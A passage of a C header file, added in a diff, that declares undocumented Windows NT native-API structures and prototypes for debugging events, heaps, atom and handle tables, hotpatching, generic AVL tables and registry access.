*PRTL_PROCESS_REFLECTION_INFORMATION; + +//FIXED 21.02.2011 size for x64 +typedef struct _VM_COUNTERS { + SIZE_T PeakVirtualSize; + SIZE_T VirtualSize; + ULONG PageFaultCount; + SIZE_T PeakWorkingSetSize; + SIZE_T WorkingSetSize; + SIZE_T QuotaPeakPagedPoolUsage; + SIZE_T QuotaPagedPoolUsage; + SIZE_T QuotaPeakNonPagedPoolUsage; + SIZE_T QuotaNonPagedPoolUsage; + SIZE_T PagefileUsage; + SIZE_T PeakPagefileUsage; + SIZE_T PrivatePageCount; +} VM_COUNTERS; +typedef VM_COUNTERS *PVM_COUNTERS; + +#if (_MSC_VER < 1300) && !defined(_WINDOWS_) +typedef struct _IO_COUNTERS { + ULONGLONG ReadOperationCount; + ULONGLONG WriteOperationCount; + ULONGLONG OtherOperationCount; + ULONGLONG ReadTransferCount; + ULONGLONG WriteTransferCount; + ULONGLONG OtherTransferCount; +} IO_COUNTERS; +typedef IO_COUNTERS *PIO_COUNTERS; +#endif + +// SystemProcessesAndThreadsInformation +//FIXED 21.02.2011 size for x64 (and as well for x86 too) +typedef struct _SYSTEM_PROCESSES_INFORMATION { + ULONG NextEntryDelta; + ULONG ThreadCount; + LARGE_INTEGER SpareLi1; + LARGE_INTEGER SpareLi2; + LARGE_INTEGER SpareLi3; + LARGE_INTEGER CreateTime; + LARGE_INTEGER UserTime; + LARGE_INTEGER KernelTime; + UNICODE_STRING ImageName; + KPRIORITY BasePriority; + HANDLE UniqueProcessId; + HANDLE InheritedFromUniqueProcessId; + ULONG HandleCount; + ULONG SessionId; + ULONG_PTR PageDirectoryBase; + VM_COUNTERS VmCounters; + IO_COUNTERS IoCounters; + SYSTEM_THREAD_INFORMATION Threads[1]; +} SYSTEM_PROCESSES_INFORMATION, *PSYSTEM_PROCESSES_INFORMATION; + +#define SIZEOF_BP_BUFFER 32 +#define LPC_BUFFER_SIZE 0x130 + +typedef struct _DBGKM_EXCEPTION +{ + EXCEPTION_RECORD ExceptionRecord; + ULONG FirstChance; +} DBGKM_EXCEPTION, *PDBGKM_EXCEPTION; + +typedef struct _DBGKM_CREATE_THREAD +{ + ULONG SubSystemKey; + PVOID StartAddress; +} DBGKM_CREATE_THREAD, *PDBGKM_CREATE_THREAD; + +typedef struct _DBGKM_CREATE_PROCESS +{ + ULONG SubSystemKey; + HANDLE FileHandle; + PVOID BaseOfImage; + ULONG DebugInfoFileOffset; + ULONG DebugInfoSize; + DBGKM_CREATE_THREAD InitialThread; +} DBGKM_CREATE_PROCESS, *PDBGKM_CREATE_PROCESS; + +typedef struct _DBGKM_EXIT_THREAD +{ + NTSTATUS ExitStatus; +} DBGKM_EXIT_THREAD, *PDBGKM_EXIT_THREAD; + +typedef struct _DBGKM_EXIT_PROCESS +{ + NTSTATUS ExitStatus; +} DBGKM_EXIT_PROCESS, *PDBGKM_EXIT_PROCESS; + +typedef struct _DBGKM_LOAD_DLL +{ + HANDLE FileHandle; + PVOID BaseOfDll; + ULONG DebugInfoFileOffset; + ULONG DebugInfoSize; + PVOID NamePointer; +} DBGKM_LOAD_DLL, *PDBGKM_LOAD_DLL; + +typedef struct _DBGKM_UNLOAD_DLL +{ + PVOID BaseAddress; +} DBGKM_UNLOAD_DLL, *PDBGKM_UNLOAD_DLL; + +typedef enum _DBG_STATE +{ + DbgIdle, + DbgReplyPending, + DbgCreateThreadStateChange, + DbgCreateProcessStateChange, + DbgExitThreadStateChange, + DbgExitProcessStateChange, + DbgExceptionStateChange, + DbgBreakpointStateChange, + DbgSingleStepStateChange, + DbgLoadDllStateChange, + DbgUnloadDllStateChange +} DBG_STATE, *PDBG_STATE; + +typedef struct _DBGUI_CREATE_THREAD +{ + HANDLE HandleToThread; + DBGKM_CREATE_THREAD NewThread; +} DBGUI_CREATE_THREAD, *PDBGUI_CREATE_THREAD; + +typedef struct _DBGUI_CREATE_PROCESS +{ + HANDLE HandleToProcess; + HANDLE HandleToThread; + DBGKM_CREATE_PROCESS NewProcess; +} DBGUI_CREATE_PROCESS, *PDBGUI_CREATE_PROCESS; + +typedef struct _DBGUI_WAIT_STATE_CHANGE +{ + DBG_STATE NewState; + CLIENT_ID AppClientId; + union + { + DBGKM_EXCEPTION Exception; + DBGUI_CREATE_THREAD CreateThread; + DBGUI_CREATE_PROCESS CreateProcessInfo; + DBGKM_EXIT_THREAD ExitThread; + DBGKM_EXIT_PROCESS ExitProcess; + DBGKM_LOAD_DLL LoadDll; + DBGKM_UNLOAD_DLL UnloadDll; + } StateInfo; +} DBGUI_WAIT_STATE_CHANGE, *PDBGUI_WAIT_STATE_CHANGE; + +#define DEBUG_READ_EVENT 0x0001 +#define DEBUG_PROCESS_ASSIGN 0x0002 +#define DEBUG_SET_INFORMATION 0x0004 +#define DEBUG_QUERY_INFORMATION 0x0008 +#define DEBUG_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE | \ + DEBUG_READ_EVENT | DEBUG_PROCESS_ASSIGN | DEBUG_SET_INFORMATION | \ + DEBUG_QUERY_INFORMATION) + +#define DEBUG_KILL_ON_CLOSE 0x1 + +typedef enum _DEBUGOBJECTINFOCLASS +{ + DebugObjectFlags = 1, + MaxDebugObjectInfoClass +} DEBUGOBJECTINFOCLASS, *PDEBUGOBJECTINFOCLASS; + + +//added 21/03/2011 +//begin +typedef struct _RTL_HEAP_TAG_INFO +{ + ULONG NumberOfAllocations; + ULONG NumberOfFrees; + SIZE_T BytesAllocated; +} RTL_HEAP_TAG_INFO, *PRTL_HEAP_TAG_INFO; + +#define RTL_HEAP_MAKE_TAG HEAP_MAKE_TAG_FLAGS +#define MAKE_TAG( t ) (RTL_HEAP_MAKE_TAG( NtdllBaseTag, t )) + +typedef NTSTATUS (NTAPI *PRTL_ENUM_HEAPS_ROUTINE)( + IN PVOID HeapHandle, + IN PVOID Parameter + ); + +typedef struct _RTL_HEAP_USAGE_ENTRY +{ + struct _RTL_HEAP_USAGE_ENTRY *Next; + PVOID Address; + SIZE_T Size; + USHORT AllocatorBackTraceIndex; + USHORT TagIndex; +} RTL_HEAP_USAGE_ENTRY, *PRTL_HEAP_USAGE_ENTRY; + +typedef struct _RTL_HEAP_USAGE +{ + ULONG Length; + SIZE_T BytesAllocated; + SIZE_T BytesCommitted; + SIZE_T BytesReserved; + SIZE_T BytesReservedMaximum; + PRTL_HEAP_USAGE_ENTRY Entries; + PRTL_HEAP_USAGE_ENTRY AddedEntries; + PRTL_HEAP_USAGE_ENTRY RemovedEntries; + ULONG_PTR Reserved[8]; +} RTL_HEAP_USAGE, *PRTL_HEAP_USAGE; + +#define HEAP_USAGE_ALLOCATED_BLOCKS HEAP_REALLOC_IN_PLACE_ONLY +#define HEAP_USAGE_FREE_BUFFER HEAP_ZERO_MEMORY + +typedef struct _RTL_HEAP_WALK_ENTRY +{ + PVOID DataAddress; + SIZE_T DataSize; + UCHAR OverheadBytes; + UCHAR SegmentIndex; + USHORT Flags; + union + { + struct + { + SIZE_T Settable; + USHORT TagIndex; + USHORT AllocatorBackTraceIndex; + ULONG Reserved[2]; + } Block; + struct + { + ULONG CommittedSize; + ULONG UnCommittedSize; + PVOID FirstEntry; + PVOID LastEntry; + } Segment; + }; +} RTL_HEAP_WALK_ENTRY, *PRTL_HEAP_WALK_ENTRY; + +#define HeapDebuggingInformation 0x80000002 + +typedef NTSTATUS (NTAPI *PRTL_HEAP_LEAK_ENUMERATION_ROUTINE)( + IN LONG Reserved, + IN PVOID HeapHandle, + IN PVOID BaseAddress, + IN SIZE_T BlockSize, + IN ULONG StackTraceDepth, + IN PVOID *StackTrace + ); + +typedef struct _HEAP_DEBUGGING_INFORMATION +{ + PVOID InterceptorFunction; + USHORT InterceptorValue; + ULONG ExtendedOptions; + ULONG StackTraceDepth; + SIZE_T MinTotalBlockSize; + SIZE_T MaxTotalBlockSize; + PRTL_HEAP_LEAK_ENUMERATION_ROUTINE HeapLeakEnumerationRoutine; +} HEAP_DEBUGGING_INFORMATION, *PHEAP_DEBUGGING_INFORMATION; + +// added 11/04/2011 +#define PREALLOCATE_EVENT_MASK 0x80000000 + +#define RtlInitializeLockRoutine(L) RtlInitializeCriticalSectionAndSpinCount((PRTL_CRITICAL_SECTION)(L),(PREALLOCATE_EVENT_MASK | 4000)) +#define RtlAcquireLockRoutine(L) RtlEnterCriticalSection((PRTL_CRITICAL_SECTION)(L)) +#define RtlReleaseLockRoutine(L) RtlLeaveCriticalSection((PRTL_CRITICAL_SECTION)(L)) +#define RtlDeleteLockRoutine(L) RtlDeleteCriticalSection((PRTL_CRITICAL_SECTION)(L)) + +typedef struct _RTL_MEMORY_ZONE_SEGMENT +{ + struct _RTL_MEMORY_ZONE_SEGMENT *NextSegment; + SIZE_T Size; + PVOID Next; + PVOID Limit; +} RTL_MEMORY_ZONE_SEGMENT, *PRTL_MEMORY_ZONE_SEGMENT; + +#if defined(_WINNT_) && defined(_MSC_VER) && (_MSC_VER < 1300) +typedef struct _RTL_SRWLOCK { + PVOID Ptr; +} RTL_SRWLOCK, *PRTL_SRWLOCK; +#endif + +typedef struct _RTL_MEMORY_ZONE +{ + RTL_MEMORY_ZONE_SEGMENT Segment; + RTL_SRWLOCK Lock; + ULONG LockCount; + PRTL_MEMORY_ZONE_SEGMENT FirstSegment; +} RTL_MEMORY_ZONE, *PRTL_MEMORY_ZONE; + +typedef struct _RTL_PROCESS_VERIFIER_OPTIONS +{ + ULONG SizeStruct; + ULONG Option; + UCHAR OptionData[1]; +} RTL_PROCESS_VERIFIER_OPTIONS, *PRTL_PROCESS_VERIFIER_OPTIONS; + +typedef struct _RTL_PROCESS_LOCKS { + ULONG NumberOfLocks; + RTL_PROCESS_LOCK_INFORMATION Locks[ 1 ]; +} RTL_PROCESS_LOCKS, *PRTL_PROCESS_LOCKS; + +#define MAX_STACK_DEPTH 32 + +typedef struct _RTL_PROCESS_BACKTRACE_INFORMATION { + PCHAR SymbolicBackTrace; + ULONG TraceCount; + USHORT Index; + USHORT Depth; + PVOID BackTrace[ MAX_STACK_DEPTH ]; +} RTL_PROCESS_BACKTRACE_INFORMATION, *PRTL_PROCESS_BACKTRACE_INFORMATION; + +typedef struct _RTL_PROCESS_BACKTRACES { + ULONG CommittedMemory; + ULONG ReservedMemory; + ULONG NumberOfBackTraceLookups; + ULONG NumberOfBackTraces; + RTL_PROCESS_BACKTRACE_INFORMATION BackTraces[ 1 ]; +} RTL_PROCESS_BACKTRACES, *PRTL_PROCESS_BACKTRACES; + +typedef struct _RTL_DEBUG_INFORMATION +{ + HANDLE SectionHandleClient; + PVOID ViewBaseClient; + PVOID ViewBaseTarget; + ULONG_PTR ViewBaseDelta; + HANDLE EventPairClient; + HANDLE EventPairTarget; + HANDLE TargetProcessId; + HANDLE TargetThreadHandle; + ULONG Flags; + SIZE_T OffsetFree; + SIZE_T CommitSize; + SIZE_T ViewSize; + union + { + PRTL_PROCESS_MODULES Modules; + PRTL_PROCESS_MODULE_INFORMATION_EX *ModulesEx; + }; + PRTL_PROCESS_BACKTRACES BackTraces; + PRTL_PROCESS_HEAPS Heaps; + PRTL_PROCESS_LOCKS Locks; + PVOID SpecificHeap; + HANDLE TargetProcessHandle; + PRTL_PROCESS_VERIFIER_OPTIONS VerifierOptions; + PVOID ProcessHeap; + HANDLE CriticalSectionHandle; + HANDLE CriticalSectionOwnerThread; + PVOID Reserved[4]; +} RTL_DEBUG_INFORMATION, *PRTL_DEBUG_INFORMATION; + +//added 21/03/2011 +//end + + +// added: 22/04/2011 - RtlStream +typedef struct _RTL_MEMORY_STREAM_DATA *PRTL_MEMORY_STREAM_DATA; +typedef struct _RTL_MEMORY_STREAM_WITH_VTABLE *PRTL_MEMORY_STREAM_WITH_VTABLE; +typedef struct _RTL_OUT_OF_PROCESS_MEMORY_STREAM_DATA *PRTL_OUT_OF_PROCESS_MEMORY_STREAM_DATA; + +HRESULT +NTAPI +RtlReleaseMemoryStream( + PRTL_MEMORY_STREAM_WITH_VTABLE MemoryStream + ); + +HRESULT +NTAPI +RtlSetMemoryStreamSize( + PRTL_MEMORY_STREAM_WITH_VTABLE MemoryStream, + ULARGE_INTEGER ULargeInteger + ); + +HRESULT +NTAPI +RtlCommitMemoryStream( + PRTL_MEMORY_STREAM_WITH_VTABLE MemoryStream, + ULONG NewStream + ); + +HRESULT +NTAPI +RtlRevertMemoryStream( + PRTL_MEMORY_STREAM_WITH_VTABLE MemoryStream + ); + +NTSTATUS +NTAPI +RtlCopySecurityDescriptor( + PSECURITY_DESCRIPTOR SourceDescriptor, + PSECURITY_DESCRIPTOR DestinationDescriptor + ); + + +typedef struct _RTL_HANDLE_TABLE_ENTRY +{ + union + { + ULONG Flags; + struct _RTL_HANDLE_TABLE_ENTRY *NextFree; + }; +} RTL_HANDLE_TABLE_ENTRY, *PRTL_HANDLE_TABLE_ENTRY; + +#define RTL_HANDLE_ALLOCATED (USHORT)0x0001 + +typedef struct _RTL_HANDLE_TABLE +{ + ULONG MaximumNumberOfHandles; + ULONG SizeOfHandleTableEntry; + ULONG Reserved[2]; + PRTL_HANDLE_TABLE_ENTRY FreeHandles; + PRTL_HANDLE_TABLE_ENTRY CommittedHandles; + PRTL_HANDLE_TABLE_ENTRY UnCommittedHandles; + PRTL_HANDLE_TABLE_ENTRY MaxReservedHandles; +} RTL_HANDLE_TABLE, *PRTL_HANDLE_TABLE; + +#if defined(_WINNT_) && (_MSC_VER < 1300) && !defined(_WINDOWS_) +typedef struct _JOB_SET_ARRAY { + HANDLE JobHandle; // Handle to job object to insert + DWORD MemberLevel; // Level of this job in the set. Must be > 0. Can be sparse. + DWORD Flags; // Unused. Must be zero +} JOB_SET_ARRAY, *PJOB_SET_ARRAY; +#endif + +VOID +NTAPI +RtlInitializeHandleTable( + IN ULONG MaximumNumberOfHandles, + IN ULONG SizeOfHandleTableEntry, + OUT PRTL_HANDLE_TABLE HandleTable + ); + +NTSTATUS +NTAPI +RtlDestroyHandleTable( + IN OUT PRTL_HANDLE_TABLE HandleTable + ); + +PRTL_HANDLE_TABLE_ENTRY +NTAPI +RtlAllocateHandle( + IN PRTL_HANDLE_TABLE HandleTable, + OUT OPTIONAL PULONG HandleIndex + ); + +BOOLEAN +NTAPI +RtlFreeHandle( + IN PRTL_HANDLE_TABLE HandleTable, + IN PRTL_HANDLE_TABLE_ENTRY Handle + ); + +BOOLEAN +NTAPI +RtlIsValidHandle( + IN PRTL_HANDLE_TABLE HandleTable, + IN PRTL_HANDLE_TABLE_ENTRY Handle + ); + +BOOLEAN +NTAPI +RtlIsValidIndexHandle( + IN PRTL_HANDLE_TABLE HandleTable, + IN ULONG HandleIndex, + OUT PRTL_HANDLE_TABLE_ENTRY *Handle + ); + +#define RTL_ATOM_MAXIMUM_INTEGER_ATOM (RTL_ATOM)0xc000 +#define RTL_ATOM_INVALID_ATOM (RTL_ATOM)0x0000 +#define RTL_ATOM_TABLE_DEFAULT_NUMBER_OF_BUCKETS 37 +#define RTL_ATOM_MAXIMUM_NAME_LENGTH 255 +#define RTL_ATOM_PINNED 0x01 + +NTSTATUS +NTAPI +RtlCreateAtomTable( + IN ULONG NumberOfBuckets, + OUT PVOID *AtomTableHandle + ); + +NTSTATUS +NTAPI +RtlDestroyAtomTable( + IN PVOID AtomTableHandle + ); + +NTSTATUS +NTAPI +RtlEmptyAtomTable( + IN PVOID AtomTableHandle, + IN BOOLEAN IncludePinnedAtoms + ); + +NTSTATUS +NTAPI +RtlAddAtomToAtomTable( + IN PVOID AtomTableHandle, + IN PWSTR AtomName, + IN OUT OPTIONAL PRTL_ATOM Atom + ); + +NTSTATUS +NTAPI +RtlLookupAtomInAtomTable( + IN PVOID AtomTableHandle, + IN PWSTR AtomName, + OUT OPTIONAL PRTL_ATOM Atom + ); + +NTSTATUS +NTAPI +RtlDeleteAtomFromAtomTable( + IN PVOID AtomTableHandle, + IN RTL_ATOM Atom + ); + +NTSTATUS +NTAPI +RtlPinAtomInAtomTable( + IN PVOID AtomTableHandle, + IN RTL_ATOM Atom + ); + +NTSTATUS +NTAPI +RtlQueryAtomInAtomTable( + IN PVOID AtomTableHandle, + IN RTL_ATOM Atom, + OUT OPTIONAL PULONG AtomUsage, + OUT OPTIONAL PULONG AtomFlags, + IN OUT PWSTR AtomName, + IN OUT OPTIONAL PULONG AtomNameLength + ); + +NTSTATUS +NTAPI +RtlQueryAtomsInAtomTable( + IN PVOID AtomTableHandle, + IN ULONG MaximumNumberOfAtoms, + OUT PULONG NumberOfAtoms, + OUT PRTL_ATOM Atoms + ); + +BOOLEAN +NTAPI +RtlGetIntegerAtom( + IN PWSTR AtomName, + OUT OPTIONAL PUSHORT IntegerAtom + ); + +#define EVENT_MIN_LEVEL (0) +#define EVENT_MAX_LEVEL (0xff) + +#define EVENT_ACTIVITY_CTRL_GET_ID (1) +#define EVENT_ACTIVITY_CTRL_SET_ID (2) +#define EVENT_ACTIVITY_CTRL_CREATE_ID (3) +#define EVENT_ACTIVITY_CTRL_GET_SET_ID (4) +#define EVENT_ACTIVITY_CTRL_CREATE_SET_ID (5) + + typedef ULONGLONG REGHANDLE, *PREGHANDLE; + +#define MAX_EVENT_DATA_DESCRIPTORS (128) +#define MAX_EVENT_FILTER_DATA_SIZE (1024) + + // + // EVENT_DATA_DESCRIPTOR is used to pass in user data items + // in events. + // + + typedef struct _EVENT_DATA_DESCRIPTOR + { + ULONG_PTR Ptr; // Pointer to data + ULONG Size; // Size of data in bytes + ULONG Reserved; + } EVENT_DATA_DESCRIPTOR, *PEVENT_DATA_DESCRIPTOR; + + typedef struct _EVENT_DESCRIPTOR + { + USHORT Id; + UCHAR Version; + UCHAR Channel; + UCHAR Level; + UCHAR Opcode; + USHORT Task; + ULONGLONG Keyword; + } EVENT_DESCRIPTOR, *PEVENT_DESCRIPTOR; + typedef const EVENT_DESCRIPTOR *PCEVENT_DESCRIPTOR; + + // + // EVENT_FILTER_DESCRIPTOR is used to pass in enable filter + // data item to a user callback function. + // + typedef struct _EVENT_FILTER_DESCRIPTOR + { + ULONG_PTR Ptr; + ULONG Size; + ULONG Type; + } EVENT_FILTER_DESCRIPTOR, *PEVENT_FILTER_DESCRIPTOR; + +// +// old nt4 channel stuff +// +//#pragma pack(1) +#pragma pack() +typedef struct _CHANNEL_MESSAGE +{ + PVOID Text; + ULONG Length; + PVOID Context; + PVOID Base; + union + { + BOOLEAN Close; + LONGLONG Align; + }; +} CHANNEL_MESSAGE, *PCHANNEL_MESSAGE; + +typedef struct _HOTPATCH_HEADER +{ + ULONG Signature; + ULONG Version; + ULONG FixupRgnCount; + ULONG FixupRgnRva; + ULONG ValidationCount; + ULONG ValidationArrayRva; + ULONG HookCount; + ULONG HookArrayRva; + ULONG_PTR OrigHotpBaseAddress; + ULONG_PTR OrigTargetBaseAddress; + ULONG TargetNameRva; + ULONG ModuleIdMethod; + union { + ULONG Filler; + } TargetModuleIdValue; +} HOTPATCH_HEADER, *PHOTPATCH_HEADER; + +typedef struct _HOTPATCH_MODULE_DATA +{ + USHORT HotpatchImageNameLength; + USHORT ColdpatchImagePathLength; + WCHAR NameBuffer[ 1 ]; +} HOTPATCH_MODULE_DATA, *PHOTPATCH_MODULE_DATA; + +typedef struct _HOTPATCH_MODULE_ENTRY +{ + struct _TRIPLE_LIST_ENTRY ListEntry; + struct _HOTPATCH_MODULE_DATA Data; +} HOTPATCH_MODULE_ENTRY, *PHOTPATCH_MODULE_ENTRY; + +typedef struct _HOTPATCH_HOOK +{ + USHORT HookType; + USHORT HookOptions; + ULONG HookRva; + ULONG HotpRva; + ULONG ValidationRva; +} HOTPATCH_HOOK, *PHOTPATCH_HOOK; + +typedef struct _RTL_PATCH_HEADER +{ + LIST_ENTRY PatchList; + PVOID PatchImageBase; + struct _RTL_PATCH_HEADER* NextPatch; + ULONG PatchFlags; + LONG PatchRefCount; + struct _HOTPATCH_HEADER* HotpatchHeader; + UNICODE_STRING TargetDllName; + HANDLE TargetDllBase; + PLDR_DATA_TABLE_ENTRY TargetLdrDataTableEntry; + PLDR_DATA_TABLE_ENTRY PatchLdrDataTableEntry; + PSYSTEM_HOTPATCH_CODE_INFORMATION CodeInfo; + PVOID ColdpatchFileHandle; + HOTPATCH_MODULE_ENTRY HotpatchModuleEntry; +} RTL_PATCH_HEADER, *PRTL_PATCH_HEADER; + + + +#pragma warning(default: 4273) // nconsistent dll linkage (winnt.h) + +#ifndef _SLIST_HEADER_ +#define _SLIST_HEADER_ + +#if defined(_M_X64) + +// +// The type SINGLE_LIST_ENTRY is not suitable for use with SLISTs. For +// WIN64, an entry on an SLIST is required to be 16-byte aligned, while a +// SINGLE_LIST_ENTRY structure has only 8 byte alignment. +// +// Therefore, all SLIST code should use the SLIST_ENTRY type instead of the +// SINGLE_LIST_ENTRY type. +// + +#pragma warning(push) +#pragma warning(disable:4324) // structure padded due to align() +typedef struct DECLSPEC_ALIGN(16) _SLIST_ENTRY *PSLIST_ENTRY; +typedef struct DECLSPEC_ALIGN(16) _SLIST_ENTRY { + PSLIST_ENTRY Next; +} SLIST_ENTRY; +#pragma warning(pop) + +#else + +#define SLIST_ENTRY SINGLE_LIST_ENTRY +#define _SLIST_ENTRY _SINGLE_LIST_ENTRY +#define PSLIST_ENTRY PSINGLE_LIST_ENTRY + +#endif + +#if defined(_M_X64) + +typedef struct DECLSPEC_ALIGN(16) _SLIST_HEADER { + ULONGLONG Alignment; + ULONGLONG Region; +} SLIST_HEADER; + +typedef struct _SLIST_HEADER *PSLIST_HEADER; + +#else + +typedef union _SLIST_HEADER { + ULONGLONG Alignment; + struct { + SLIST_ENTRY Next; + WORD Depth; + WORD Sequence; + }; +} SLIST_HEADER, *PSLIST_HEADER; + +#endif + +#endif + +// +// prototypes *must* be encapsulated with extern "C" macros at start and end of prototype block +// + +PSLIST_ENTRY +__fastcall +RtlInterlockedPushListSList ( + IN PSLIST_HEADER ListHead, + IN PSLIST_ENTRY List, + IN PSLIST_ENTRY ListEnd, + IN ULONG Count + ); + +VOID +NTAPI +RtlAssert( + IN PVOID VoidFailedAssertion, + IN PVOID VoidFileName, + IN ULONG LineNumber, + IN OPTIONAL PSTR MutableMessage + ); + +VOID +NTAPI +RtlInitializeGenericTableAvl ( + PRTL_AVL_TABLE Table, + PRTL_AVL_COMPARE_ROUTINE CompareRoutine, + PRTL_AVL_ALLOCATE_ROUTINE AllocateRoutine, + PRTL_AVL_FREE_ROUTINE FreeRoutine, + PVOID TableContext + ); + +PVOID +NTAPI +RtlInsertElementGenericTableAvl ( + PRTL_AVL_TABLE Table, + PVOID Buffer, + ULONG BufferSize, + PBOOLEAN NewElement OPTIONAL + ); + +PVOID +NTAPI +RtlInsertElementGenericTableFullAvl ( + PRTL_AVL_TABLE Table, + PVOID Buffer, + ULONG BufferSize, + PBOOLEAN NewElement OPTIONAL, + PVOID NodeOrParent, + TABLE_SEARCH_RESULT SearchResult + ); + +BOOLEAN +NTAPI +RtlDeleteElementGenericTableAvl ( + PRTL_AVL_TABLE Table, + PVOID Buffer + ); + +PVOID +NTAPI +RtlLookupElementGenericTableAvl ( + PRTL_AVL_TABLE Table, + PVOID Buffer + ); + +PVOID +NTAPI +RtlLookupElementGenericTableFullAvl ( + PRTL_AVL_TABLE Table, + PVOID Buffer, + OUT PVOID *NodeOrParent, + OUT TABLE_SEARCH_RESULT *SearchResult + ); + +PVOID +NTAPI +RtlEnumerateGenericTableAvl ( + PRTL_AVL_TABLE Table, + BOOLEAN Restart + ); + +PVOID +NTAPI +RtlEnumerateGenericTableWithoutSplayingAvl ( + PRTL_AVL_TABLE Table, + PVOID *RestartKey + ); + +PVOID +NTAPI +RtlEnumerateGenericTableLikeADirectory ( + IN PRTL_AVL_TABLE Table, + IN PRTL_AVL_MATCH_FUNCTION MatchFunction, + IN PVOID MatchData, + IN ULONG NextFlag, + IN OUT PVOID *RestartKey, + IN OUT PULONG DeleteCount, + IN OUT PVOID Buffer + ); + +PVOID +NTAPI +RtlGetElementGenericTableAvl ( + PRTL_AVL_TABLE Table, + ULONG I + ); + +ULONG +NTAPI +RtlNumberGenericTableElementsAvl ( + PRTL_AVL_TABLE Table + ); + +BOOLEAN +NTAPI +RtlIsGenericTableEmptyAvl ( + PRTL_AVL_TABLE Table + ); + +PRTL_SPLAY_LINKS +NTAPI +RtlSplay ( + PRTL_SPLAY_LINKS Links + ); + +PRTL_SPLAY_LINKS +NTAPI +RtlDelete ( + PRTL_SPLAY_LINKS Links + ); + +VOID +NTAPI +RtlDeleteNoSplay ( + PRTL_SPLAY_LINKS Links, + PRTL_SPLAY_LINKS *Root + ); + +PRTL_SPLAY_LINKS +NTAPI +RtlSubtreeSuccessor ( + PRTL_SPLAY_LINKS Links + ); + +PRTL_SPLAY_LINKS +NTAPI +RtlSubtreePredecessor ( + PRTL_SPLAY_LINKS Links + ); + +PRTL_SPLAY_LINKS +NTAPI +RtlRealSuccessor ( + PRTL_SPLAY_LINKS Links + ); + +PRTL_SPLAY_LINKS +NTAPI +RtlRealPredecessor ( + PRTL_SPLAY_LINKS Links + ); + +VOID +NTAPI +RtlInitializeGenericTable ( + PRTL_GENERIC_TABLE Table, + PRTL_GENERIC_COMPARE_ROUTINE CompareRoutine, + PRTL_GENERIC_ALLOCATE_ROUTINE AllocateRoutine, + PRTL_GENERIC_FREE_ROUTINE FreeRoutine, + PVOID TableContext + ); + +PVOID +NTAPI +RtlInsertElementGenericTable ( + PRTL_GENERIC_TABLE Table, + PVOID Buffer, + ULONG BufferSize, + PBOOLEAN NewElement OPTIONAL + ); + +PVOID +NTAPI +RtlInsertElementGenericTableFull ( + PRTL_GENERIC_TABLE Table, + PVOID Buffer, + ULONG BufferSize, + PBOOLEAN NewElement OPTIONAL, + PVOID NodeOrParent, + TABLE_SEARCH_RESULT SearchResult + ); + +BOOLEAN +NTAPI +RtlDeleteElementGenericTable ( + PRTL_GENERIC_TABLE Table, + PVOID Buffer + ); + +PVOID +NTAPI +RtlLookupElementGenericTable ( + PRTL_GENERIC_TABLE Table, + PVOID Buffer + ); + +PVOID +NTAPI +RtlLookupElementGenericTableFull ( + PRTL_GENERIC_TABLE Table, + PVOID Buffer, + OUT PVOID *NodeOrParent, + OUT TABLE_SEARCH_RESULT *SearchResult + ); + +PVOID +NTAPI +RtlEnumerateGenericTable ( + PRTL_GENERIC_TABLE Table, + BOOLEAN Restart + ); + +PVOID +NTAPI +RtlEnumerateGenericTableWithoutSplaying ( + PRTL_GENERIC_TABLE Table, + PVOID *RestartKey + ); + +PVOID +NTAPI +RtlGetElementGenericTable( + PRTL_GENERIC_TABLE Table, + ULONG I + ); + +ULONG +NTAPI +RtlNumberGenericTableElements( + PRTL_GENERIC_TABLE Table + ); + +BOOLEAN +NTAPI +RtlIsGenericTableEmpty ( + PRTL_GENERIC_TABLE Table + ); + +NTSTATUS +NTAPI +RtlInitializeHeapManager( + ); + +PVOID +NTAPI +RtlCreateHeap( + IN ULONG Flags, + IN PVOID HeapBase OPTIONAL, + IN SIZE_T ReserveSize OPTIONAL, + IN SIZE_T CommitSize OPTIONAL, + IN PVOID Lock OPTIONAL, + IN PRTL_HEAP_PARAMETERS Parameters OPTIONAL + ); + +PVOID +NTAPI +RtlDestroyHeap( + IN PVOID HeapHandle + ); + +PVOID +NTAPI +RtlAllocateHeap( + IN PVOID HeapHandle, + IN ULONG Flags, + IN SIZE_T Size + ); + +BOOLEAN +NTAPI +RtlFreeHeap( + IN PVOID HeapHandle, + IN OPTIONAL ULONG Flags, + IN PVOID BaseAddress + ); + +SIZE_T +NTAPI +RtlSizeHeap( + IN PVOID HeapHandle, + IN ULONG Flags, + IN PVOID BaseAddress + ); + +NTSTATUS +NTAPI +RtlZeroHeap( + IN PVOID HeapHandle, + IN ULONG Flags + ); + +VOID +NTAPI +RtlProtectHeap( + IN PVOID HeapHandle, + IN BOOLEAN MakeReadOnly + ); + +ULONG +NTAPI +RtlGetNtGlobalFlags( + VOID + ); + +VOID +NTAPI +RtlGetCallersAddress( + OUT PVOID *CallersAddress, + OUT PVOID *CallersCaller + ); + +ULONG +NTAPI +RtlWalkFrameChain ( + OUT PVOID *Callers, + IN ULONG Count, + IN ULONG Flags + ); + +USHORT +NTAPI +RtlLogStackBackTrace( + VOID + ); + + +ULONG +NTAPI +RtlCaptureStackContext ( + OUT PULONG_PTR Callers, + OUT PRTL_STACK_CONTEXT Context, + IN ULONG Limit + ); + +BOOLEAN +NTAPI +RtlGetNtProductType( + PNT_PRODUCT_TYPE NtProductType + ); + +NTSTATUS +NTAPI +RtlFormatCurrentUserKeyPath ( + OUT PUNICODE_STRING CurrentUserKeyPath + ); + +NTSTATUS +NTAPI +RtlOpenCurrentUser( + IN ULONG DesiredAccess, + OUT PHANDLE CurrentUserKey + ); + +NTSTATUS +NTAPI +RtlQueryRegistryValues( + IN ULONG RelativeTo, + IN PCWSTR Path, + IN PRTL_QUERY_REGISTRY_TABLE QueryTable, + IN PVOID Context, + IN PVOID Environment OPTIONAL + ); + +NTSTATUS +NTAPI +RtlWriteRegistryValue( + IN ULONG RelativeTo, + IN PCWSTR Path, + IN PCWSTR ValueName, + IN ULONG ValueType, + IN PVOID ValueData, + IN ULONG ValueLength + ); + +NTSTATUS +NTAPI +RtlDeleteRegistryValue( + IN ULONG RelativeTo, + IN PCWSTR Path, + IN PCWSTR ValueName + ); + +NTSTATUS +NTAPI +RtlCreateRegistryKey( + IN ULONG RelativeTo, + IN PWSTR Path + ); + +NTSTATUS +NTAPI +RtlCheckRegistryKey( + IN ULONG RelativeTo, + IN PWSTR Path + ); + +//added 21/03/2011 +//begin +BOOLEAN +NTAPI +RtlLockHeap( + IN PVOID HeapHandle + ); + + +BOOLEAN +NTAPI +RtlUnlockHeap( + IN PVOID 